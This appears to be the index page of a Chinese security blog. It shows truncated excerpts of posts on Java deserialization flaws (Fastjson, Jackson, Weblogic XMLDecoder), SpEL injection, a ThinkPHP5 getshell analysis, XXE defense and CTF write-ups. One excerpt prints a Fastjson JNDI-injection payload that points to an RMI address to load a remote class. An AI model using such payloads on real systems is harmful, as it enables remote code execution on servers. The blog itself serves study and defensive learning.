Kingkk's Blog.

Kingkk's Blog.

热爱Web但是技术渣/或许是个黑客

Fastjson反序列化漏洞 1.2.24-1.2.48
Fastjson中的利用方式讲漏洞前先来说下一些利用方式 来看下第一次漏洞的Poc,一个JNDI注入的利用 1{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true} 个人理解就是,JdbcRowSetImpl这个类的dataSourceName支持传入一个rmi的源。 当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。 当远程rmi服务找不到对应方法时,可以指定一个远程class让...
XXE防御笔记
官方防御手册1https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html DocumentBuilderjavax.xml.parsers.DocumentBuilderFactory 禁用外部实体 1234567891011121314151617181920212223242526DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();String FEATURE = null;t...
Jackson-databind 反序列化分析
Jackson基础操作主要功能就是在java类与json字符串中间进行序列化与反序列化的操作。 序列化与反序列化java bean 12345678910111213141516171819202122232425262728public class Person { private String name; private Integer age; public String getName() { return name; } public void setName(String name) {...
Weblogic XMLDecoder反序列化学习
前言鉴于 @男壹号 大哥的建议,为之前写的一个扫描器又增加了几个POC,顺带学习了下weblogic的几个xmldecoder反序列化漏洞。 CVE-2017-3506 CVE-2017-10271 CVE-2019-2725 由于之前没有本地调试过weblogic的经验,走了不少弯路,也踩了不少坑。安装和调试的过程可以看。 https://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/ XMLDecoder这是一个ja...
SPEL表达式注入-入门篇
SPEL表达式 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。 个人理解就是Spring框架中的一种语言表达式,类似于Struts2中的OGNL的东西。 一个最基础的触发例子 1234567@RequestMapping("/spel")@ResponseBodypublic String spel(String input){...
巡风源码浅析
前言由于一些需要,和抱着学习的目的,研读了下巡风这款相当优秀的扫描器代码。 https://github.com/ysrc/xunfeng 主要分析了下两个扫描的模块,对web端没有跟进看,当然重点也在扫描的部分。 分析的语句都以注释的形式标注在代码中了,由于能力有限,分析中的不足和错误欢迎指出。 整体架构逻辑文件结构12345678910111213141516171819202122232425262728293031323334353637383940414243│ Config.py # 配置文件│ README.md # 说明文档│ Run.bat # Window...
Java反序列之从萌新到菜鸟
前言距离上一次更新博客差不多已经过去一个月了,中间的事情确实也很多。最近勉强把Java的基础给补了,就来记录一下Java中最经典的反序列化漏洞。 序列化与反序列化序列化Java中并非所有的数据类型都可以进行序列化,想要进行序列化和反序列化的数据结构需要使用Serializable这样一个接口。例如下面这个类 123456public class Employee implements Serializable { private String name; private String identify; // setter and getter ...
ThinkPHP5.x 前台getshell分析
前言昨晚微博刷着刷着看到一个无条件的ThinkPHP5.x通杀前台getshell,然后群里面师傅们也都在讨论这件事了。感觉是个TP5写的站都是通杀,怕是一场腥风血雨。。。 官方给出的补丁,可以看到是路由上面出的问题,怪不得通杀。 漏洞分析分析版本 ThinkPHP 5.1.30 路由调用先从thinkphp/library/think/route/dispatch/Url.php:20看起 123456public function init(){ // 解析默认的URL规则 $result = $this->parseUrl($this->disp...
Code-Breaking Puzzles 题解&学习篇
前言p神真是相当用心了,弄了个知识星球两周年的活动,有一堆题目质量极高的题。大家感兴趣的可以一起来做下 https://code-breaking.com 比较菜的我就只能学习了。有很多新奇的点,题目确实都很有意思,最后,广告还是要的,欢迎一起加入【代码审计知识星球】 p神对这几个题目知识点的描述 function PHP函数利用技巧 pcrewaf PHP正则特性 phpmagic PHP写文件技巧 phplimit PHP代码执行限制绕过 nodechr Javascript字符串特性 javacon SPEL表达式沙盒绕过 lumenserial 反序列化在7.2下的利用 pic...
2018 lctf-web 学习篇
前言题目很给力,能学到很多,而且做起来没有什么弯弯绕绕的东西,一般都直接给了代码 但就是代码都给了,然后无从下手,第一天对着代码发呆了一天,打自闭了。。。 赛后疯狂学习一波。 bestphp’s revenge代码量不多,直接贴上来 123456789101112<?phphighlight_file(__FILE__);$b = 'implode';call_user_func($_GET[f],$_POST);session_start();if(isset($_GET[name])){ $_SESSION[name] = $_GET[name];}v...